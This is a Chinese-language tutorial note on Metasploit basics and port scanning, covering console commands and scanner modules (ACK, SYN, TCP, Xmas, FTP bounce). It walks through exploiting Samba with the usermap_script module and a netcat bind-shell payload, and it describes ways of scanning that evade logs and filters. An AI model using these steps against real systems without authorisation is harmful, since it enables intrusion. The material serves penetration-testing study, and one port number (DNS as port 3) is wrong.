Metasploit常用命令-端口扫描
日期:Mar-21-2022
作者:狐狸大剑眼镜
参考:
视频:https://www.bilibili.com/video/BV127411c7yE?from=search&seid=3411919452169440371&spm_id_from=333.337.0.0
书籍:Metasploit渗透测试魔鬼训练营
基本命令
1.msfconsole
进入msf终端,
2.creds
creds -h 查看帮助文档,creds命令可以列出获取到的信息,比如用户名密码,数据库密码,开放端口及服务。
3.search
search -h 查看帮助文档,搜索可以用的模块,常用方法search+关键词
4.spool命令
直接输入spool可获取使用方法,功能是可以将当前屏幕重定向到某个文件中
5.show advanced命令
以一个模块为例,首先进入该模块
use exploit/multi/samba/usermap_script
显示此模块的高级选项
show advanced
使用实例
使用search命令寻找攻击Samba服务模块:search samba
选择使用渗透工具模块:use exploit/multi/samba/usermap_script
查看与该渗透模块相兼容的攻击载荷:show payloads
设置攻击载荷:set payload /cmd/unix/bind_netcat及使用netcat工具在渗透攻击成功后指向shell,并通过netcat绑定在一个监听端口上。
查看该渗透工具模块的参数:show options
设置参数目标主机ip:set rhost ip
启动攻击:exploit
使用metasploit进行端口扫描
可以输入search portscan查看相关端口扫描器
按端口号划分:
(1)知名端口
知名端口即众所周知的端口,0到1023,这些端口号一般固定分配给一些服务,比如21端口分给FTP服务,25端口给SMTP服务,80端口给http服务,135端口分配给RPC服务等等。
(2)动态端口
范围从1024到65535,这些端口号一般不固定分配给某个服务,程序关闭后就会释放所占用的端口。动态端口也常常被木马程序所利用,如冰河默认端口是7626、WAY 2.4是8011、Netspy 3.0是7306...
按协议类型:
可以分为TCP,UDP,IP和ICMP(internet控制消息协议)等端口
(1)TCP端口
TCP端口,即传输控制协议端口,需要在客户端和服务端之间建立连接,这样可以提供可靠的数据传输,常见的包括FTP服务21端口,Telnet服务23端口,SMTP服务的25端口,以及HTTP服务的80端口。
(2) UDP端口
即数据包协议端口,无需再客户端和服务端之间建立连接,安全性得不到保障,常见DNS服务的3端口,SNMP(简单网络管理协议)服务的161端口,qq使用的8000和4000端口等。
Metasploit端口扫描器
(1)ack
通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测。
(2) ftpbounce
通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务软件可以很好的防范FTP bounce攻击,但是一些旧的Solaris及FreeBSD系统的FTP服务中此类的攻击方式仍能可以利用。
(3)syn
使用TCP SYN标志的方式探测开放的端口。
扫描器向主机的端口发送请求连接的SYN包,扫描器再收到SYN/ACK后,不是发送ACK应答而是发送RST包请求断开连接,这样,三次握手就没有完成,无法建立正常的TCP连接,因此,这次扫描就不会记录到系统日志中,但是这种扫描需要root权限。
(4)tcp
通过一次完整的TCP连接来判断端口是否开放,这种扫描方式最准确,但是速度比较慢。
扫描视图与每一个TCP端口进行三次握手,如果能成功建立连接,则证明端口开放,否则关闭,但是最容易被防火墙和IDS检测到,并且再目标主机上记录大量的连接请求。
(xmas)
一种更为隐蔽的扫描方式,通过发送FIN,PSH和URG标志,能够躲避一些高级的TCP标记检测器的过滤,不支持windows。
实验
使用back命令回到msf>控制台
输入search portscan查找扫描工具
ack
其通常用来探测防火墙规则,一般情况下这种扫描不能确定端口开放情况,用于发现防火墙规则,确定他们是否再运行状态以及哪些端口是过滤的。
(1)选择模块
(2)set命令查看参数
设置GATEWAY_PROBE_HOST 为任意一个内网可连通的ip地址
(3)show options 查看还需要设置哪些参数
(4)设置rhosts,目标主机ip或者域名
(5)设置参数threads,线程,越大越快
(6)参数timeout,超时时间
(7)ports,设置扫描端口区间
(8)查看最终设置
(9)执行攻击run